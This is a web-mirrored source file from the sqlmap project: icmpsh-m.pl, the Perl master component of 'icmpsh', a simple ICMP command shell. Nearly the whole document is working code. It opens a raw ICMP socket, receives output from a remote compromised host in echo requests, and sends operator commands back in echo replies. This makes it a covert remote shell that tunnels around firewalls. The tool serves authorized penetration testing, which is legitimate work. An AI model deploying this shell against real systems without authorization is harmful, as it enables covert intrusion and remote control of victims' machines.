Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/extra/icmpsh/icmpsh-m.pl
2992 views
1
#!/usr/bin/env perl
2
#
3
# icmpsh - simple icmp command shell
4
# Copyright (c) 2010, Nico Leidecker <[email protected]>
5
# This program is free software: you can redistribute it and/or modify
6
# it under the terms of the GNU General Public License as published by
7
# the Free Software Foundation, either version 3 of the License, or
8
# (at your option) any later version.
9
#
10
# This program is distributed in the hope that it will be useful,
11
# but WITHOUT ANY WARRANTY; without even the implied warranty of
12
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13
# GNU General Public License for more details.
14
#
15
# You should have received a copy of the GNU General Public License
16
# along with this program. If not, see <http://www.gnu.org/licenses/>.
17
#
18
19
20
21
use strict;
22
use IO::Socket;
23
use NetPacket::IP;
24
use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO);
25
use Net::RawIP;
26
use Fcntl;
27
28
print "icmpsh - master\n";
29
30
# create raw socket
31
my $sock = IO::Socket::INET->new(
32
Proto => "ICMP",
33
Type => SOCK_RAW,
34
Blocking => 1) or die "$!";
35
36
# set stdin to non-blocking
37
fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!";
38
39
print "running...\n";
40
41
my $input = '';
42
while(1) {
43
if ($sock->recv(my $buffer, 4096, 0)) {
44
my $ip = NetPacket::IP->decode($buffer);
45
my $icmp = NetPacket::ICMP->decode($ip->{data});
46
if ($icmp->{type} == ICMP_ECHO) {
47
# get identifier and sequencenumber
48
my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data});
49
50
# write data to stdout and read from stdin
51
print $data;
52
$input = <STDIN>;
53
54
# compile and send response
55
$icmp->{type} = ICMP_ECHOREPLY;
56
$icmp->{data} = pack("SSa*", $ident, $seq, $input);
57
my $raw = $icmp->encode();
58
my $addr = sockaddr_in(0, inet_aton($ip->{src_ip}));
59
$sock->send($raw, 0, $addr) or die "$!\n";
60
}
61
}
62
}
63
64